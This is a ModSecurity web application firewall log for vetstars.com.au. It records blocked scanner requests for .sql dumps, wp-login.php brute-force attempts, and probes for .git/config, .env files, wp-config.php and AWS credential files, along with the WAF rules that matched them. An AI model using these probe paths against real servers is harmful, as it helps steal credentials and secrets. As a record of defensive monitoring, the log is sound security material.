[Fri Dec 05 15:14:27.059881 2025] [:error] [pid 53923:tid 53940] [client 185.220.101.138:12797] [client 185.220.101.138] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/.sql"] [unique_id "aTKGU7l8ebZN0VCAVXAd7wAAAM8"]
[Fri Dec 05 15:14:28.697379 2025] [:error] [pid 53923:tid 53926] [client 185.67.82.114:53108] [client 185.67.82.114] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/ve.sql"] [unique_id "aTKGVLl8ebZN0VCAVXAd9wAAAME"]
[Fri Dec 05 15:14:35.058030 2025] [:error] [pid 62720:tid 62733] [client 185.207.107.216:25224] [client 185.207.107.216] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/etstars.sql"] [unique_id "aTKGW2DTJuF6xQ5UsIPcfwAAAYs"]
[Fri Dec 05 15:14:38.427997 2025] [:error] [pid 53923:tid 53945] [client 109.71.252.88:38412] [client 109.71.252.88] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/rs.sql"] [unique_id "aTKGXrl8ebZN0VCAVXAeBwAAANQ"]
[Fri Dec 05 15:14:40.614199 2025] [:error] [pid 53839:tid 53896] [client 5.104.84.183:60850] [client 5.104.84.183] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/stars.sql"] [unique_id "aTKGYKQOuERg_RN7bn90XwAAAIA"]
[Fri Dec 05 15:18:59.684765 2025] [:error] [pid 53838:tid 53892] [client 154.28.229.91:61824] [client 154.28.229.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.28.229.91, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/https%3A/vetstars.com.au/xmlrpc.php%3Frsd"] [unique_id "aTKHY58M7CH_vMhLrzLJwgAAAFc"]
[Fri Dec 05 16:07:10.350604 2025] [:error] [pid 53839:tid 53902] [client 134.199.163.39:62103] [client 134.199.163.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.199.163.39, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTKSrqQOuERg_RN7bn-F0AAAAIY"]
[Fri Dec 05 16:07:13.180418 2025] [:error] [pid 53923:tid 53936] [client 134.199.163.39:51246] [client 134.199.163.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.199.163.39, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTKSsbl8ebZN0VCAVXA1vQAAAMs"]
[Fri Dec 05 17:09:30.579911 2025] [:error] [pid 53923:tid 53928] [client 134.199.163.39:57256] [client 134.199.163.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.199.163.39, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTKhSrl8ebZN0VCAVXBOfgAAAMM"]
[Fri Dec 05 17:19:06.378484 2025] [:error] [pid 53838:tid 53893] [client 134.199.163.39:61907] [client 134.199.163.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.199.163.39, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTKjip8M7CH_vMhLrzLl3gAAAFg"]
[Fri Dec 05 17:30:48.997948 2025] [:error] [pid 53839:tid 53907] [client 134.199.163.39:50256] [client 134.199.163.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.199.163.39, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTKmSKQOuERg_RN7bn-fAwAAAIs"]
[Fri Dec 05 17:41:18.105279 2025] [:error] [pid 62720:tid 62728] [client 44.249.224.157:55278] [client 44.249.224.157] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/"] [unique_id "aTKovmDTJuF6xQ5UsIMEBwAAAYY"]
[Fri Dec 05 17:41:18.834736 2025] [:error] [pid 62720:tid 62723] [client 44.249.224.157:55294] [client 44.249.224.157] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/HEAD"] [unique_id "aTKovmDTJuF6xQ5UsIMECwAAAYE"]
[Fri Dec 05 17:44:24.131894 2025] [:error] [pid 53837:tid 53858] [client 134.199.163.39:55135] [client 134.199.163.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.199.163.39, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTKpeDbsUyTxys8OiML9VgAAABA"]
[Fri Dec 05 17:57:57.891176 2025] [:error] [pid 53838:tid 53877] [client 134.199.163.39:60121] [client 134.199.163.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.199.163.39, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTKspZ8M7CH_vMhLrzLuwgAAAEg"]
[Fri Dec 05 18:11:30.769109 2025] [:error] [pid 18579:tid 18606] [client 182.44.12.37:46617] [client 182.44.12.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aTKv0sAUSulJty2JiBpgtAAAABU"]
[Fri Dec 05 21:17:33.755443 2025] [:error] [pid 18521:tid 18569] [client 18.133.141.78:33134] [client 18.133.141.78] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config"] [unique_id "aTLbbU_hJ6r18UnAijyNjgAAANI"]
[Fri Dec 05 21:35:40.046127 2025] [:error] [pid 18579:tid 18602] [client 13.203.202.189:57890] [client 13.203.202.189] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aTLfrMAUSulJty2JiBqwVgAAABE"]
[Fri Dec 05 23:04:47.812579 2025] [:error] [pid 18579:tid 18609] [client 44.248.196.54:56352] [client 44.248.196.54] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aTL0j8AUSulJty2JiBrN6QAAABg"]
[Fri Dec 05 23:04:51.925387 2025] [:error] [pid 18520:tid 18530] [client 44.248.196.54:56370] [client 44.248.196.54] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/app/.env"] [unique_id "aTL0k4OC8XSo46ZrIeMOWgAAAIY"]
[Fri Dec 05 23:04:52.656874 2025] [:error] [pid 32385:tid 32407] [client 44.248.196.54:56378] [client 44.248.196.54] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/config/.env"] [unique_id "aTL0lK-noNHpDvGbpCtRiwAAARM"]
[Fri Dec 05 23:05:02.957479 2025] [:error] [pid 32385:tid 32399] [client 44.248.196.54:52474] [client 44.248.196.54] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "aTL0nq-noNHpDvGbpCtRlQAAAQs"]
[Fri Dec 05 23:05:03.687042 2025] [:error] [pid 18520:tid 18535] [client 44.248.196.54:52478] [client 44.248.196.54] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.local"] [unique_id "aTL0n4OC8XSo46ZrIeMOZAAAAIs"]
[Fri Dec 05 23:05:04.412415 2025] [:error] [pid 32416:tid 32418] [client 44.248.196.54:52490] [client 44.248.196.54] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.production"] [unique_id "aTL0oNw2m4oeKabXf6-LaAAAAYA"]
[Fri Dec 05 23:05:05.141073 2025] [:error] [pid 18521:tid 18554] [client 44.248.196.54:52494] [client 44.248.196.54] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.development"] [unique_id "aTL0oU_hJ6r18UnAijyuZAAAAMM"]
[Fri Dec 05 23:05:05.866035 2025] [:error] [pid 32416:tid 32434] [client 44.248.196.54:54684] [client 44.248.196.54] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.bak"] [unique_id "aTL0odw2m4oeKabXf6-LagAAAZA"]
[Fri Dec 05 23:05:06.592182 2025] [:error] [pid 18521:tid 18566] [client 44.248.196.54:54690] [client 44.248.196.54] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.example"] [unique_id "aTL0ok_hJ6r18UnAijyuZgAAAM8"]
[Fri Dec 05 23:05:07.324200 2025] [:error] [pid 32416:tid 32422] [client 44.248.196.54:54704] [client 44.248.196.54] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.test"] [unique_id "aTL0o9w2m4oeKabXf6-LbgAAAYQ"]
[Fri Dec 05 23:05:28.777323 2025] [:error] [pid 35962:tid 35970] [client 44.248.196.54:40224] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/config.rb"] [unique_id "aTL0uJ-hnYjbYINfh7H-5AAAAEY"]
[Fri Dec 05 23:05:29.510994 2025] [:error] [pid 18521:tid 18563] [client 44.248.196.54:40230] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/config.yaml"] [unique_id "aTL0uU_hJ6r18UnAijyucwAAAMw"]
[Fri Dec 05 23:05:30.239069 2025] [:error] [pid 32416:tid 32428] [client 44.248.196.54:40244] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/config.yml"] [unique_id "aTL0utw2m4oeKabXf6-LoAAAAYo"]
[Fri Dec 05 23:05:30.964183 2025] [:error] [pid 18579:tid 18585] [client 44.248.196.54:40258] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/config.ini"] [unique_id "aTL0usAUSulJty2JiBrOBAAAAAA"]
[Fri Dec 05 23:05:31.694646 2025] [:error] [pid 18521:tid 18568] [client 44.248.196.54:40260] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/config.properties"] [unique_id "aTL0u0_hJ6r18UnAijyudQAAANE"]
[Fri Dec 05 23:05:32.421259 2025] [:error] [pid 32416:tid 32429] [client 44.248.196.54:40272] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/configuration"] [unique_id "aTL0vNw2m4oeKabXf6-LogAAAYs"]
[Fri Dec 05 23:05:33.151380 2025] [:error] [pid 18520:tid 18524] [client 44.248.196.54:40274] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/settings"] [unique_id "aTL0vYOC8XSo46ZrIeMOjAAAAIA"]
[Fri Dec 05 23:05:33.882473 2025] [:error] [pid 32416:tid 32431] [client 44.248.196.54:40280] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/settings.json"] [unique_id "aTL0vdw2m4oeKabXf6-LpQAAAY0"]
[Fri Dec 05 23:05:34.608434 2025] [:error] [pid 32385:tid 32388] [client 44.248.196.54:40288] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/settings.py"] [unique_id "aTL0vq-noNHpDvGbpCtRsAAAAQA"]
[Fri Dec 05 23:05:35.331839 2025] [:error] [pid 18520:tid 18546] [client 44.248.196.54:40298] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/settings.rb"] [unique_id "aTL0v4OC8XSo46ZrIeMOkQAAAJY"]
[Fri Dec 05 23:05:36.057112 2025] [:error] [pid 18614:tid 18631] [client 44.248.196.54:39972] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/app.config.js"] [unique_id "aTL0wHHum9jj9plt7MWSbQAAAU8"]
[Fri Dec 05 23:05:36.788384 2025] [:error] [pid 32416:tid 32436] [client 44.248.196.54:39976] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/local.settings.json"] [unique_id "aTL0wNw2m4oeKabXf6-LqQAAAZI"]
[Fri Dec 05 23:05:37.520967 2025] [:error] [pid 32416:tid 32441] [client 44.248.196.54:39984] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/secrets.json"] [unique_id "aTL0wdw2m4oeKabXf6-LqwAAAZc"]
[Fri Dec 05 23:05:38.253493 2025] [:error] [pid 32416:tid 32423] [client 44.248.196.54:39996] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/phpinfo.php"] [unique_id "aTL0wtw2m4oeKabXf6-LrQAAAYU"]
[Fri Dec 05 23:05:38.985450 2025] [:error] [pid 18579:tid 18587] [client 44.248.196.54:40008] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aTL0wsAUSulJty2JiBrOCAAAAAI"]
[Fri Dec 05 23:05:39.713825 2025] [:error] [pid 18579:tid 18596] [client 44.248.196.54:40020] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/phpversion.php"] [unique_id "aTL0w8AUSulJty2JiBrODAAAAAs"]
[Fri Dec 05 23:05:40.443855 2025] [:error] [pid 18579:tid 18602] [client 44.248.196.54:40024] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test.php"] [unique_id "aTL0xMAUSulJty2JiBrODgAAABE"]
[Fri Dec 05 23:05:41.179762 2025] [:error] [pid 18614:tid 18632] [client 44.248.196.54:40036] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aTL0xXHum9jj9plt7MWScgAAAVA"]
[Fri Dec 05 23:05:41.906240 2025] [:error] [pid 35962:tid 35965] [client 44.248.196.54:40044] [client 44.248.196.54] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-config.php"] [unique_id "aTL0xZ-hnYjbYINfh7H-7AAAAEE"]
[Fri Dec 05 23:05:42.635480 2025] [:error] [pid 32385:tid 32408] [client 44.248.196.54:40060] [client 44.248.196.54] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/composer.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/composer.json"] [unique_id "aTL0xq-noNHpDvGbpCtRvwAAARQ"]
[Fri Dec 05 23:05:43.367247 2025] [:error] [pid 32385:tid 32388] [client 44.248.196.54:40062] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/config.php"] [unique_id "aTL0x6-noNHpDvGbpCtRwgAAAQA"]
[Fri Dec 05 23:05:44.098854 2025] [:error] [pid 18579:tid 18591] [client 44.248.196.54:40076] [client 44.248.196.54] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.php"] [unique_id "aTL0yMAUSulJty2JiBrOGgAAAAY"]
[Fri Dec 05 23:05:44.824499 2025] [:error] [pid 18614:tid 18617] [client 44.248.196.54:40086] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/secrets.php"] [unique_id "aTL0yHHum9jj9plt7MWSeQAAAUE"]
[Fri Dec 05 23:05:45.554172 2025] [:error] [pid 32416:tid 32433] [client 44.248.196.54:50422] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.aws/config"] [unique_id "aTL0ydw2m4oeKabXf6-LvgAAAY8"]
[Fri Dec 05 23:05:46.281247 2025] [:error] [pid 32385:tid 32399] [client 44.248.196.54:50438] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.aws/credentials"] [unique_id "aTL0yq-noNHpDvGbpCtRywAAAQs"]
[Fri Dec 05 23:05:47.011047 2025] [:error] [pid 18520:tid 18542] [client 44.248.196.54:50448] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aws/config"] [unique_id "aTL0y4OC8XSo46ZrIeMOmwAAAJI"]
[Fri Dec 05 23:05:47.737219 2025] [:error] [pid 18614:tid 18621] [client 44.248.196.54:50458] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aws/credentials"] [unique_id "aTL0y3Hum9jj9plt7MWSfgAAAUU"]
[Fri Dec 05 23:05:48.462716 2025] [:error] [pid 35962:tid 35971] [client 44.248.196.54:50460] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aws.json"] [unique_id "aTL0zJ-hnYjbYINfh7H_AwAAAEc"]
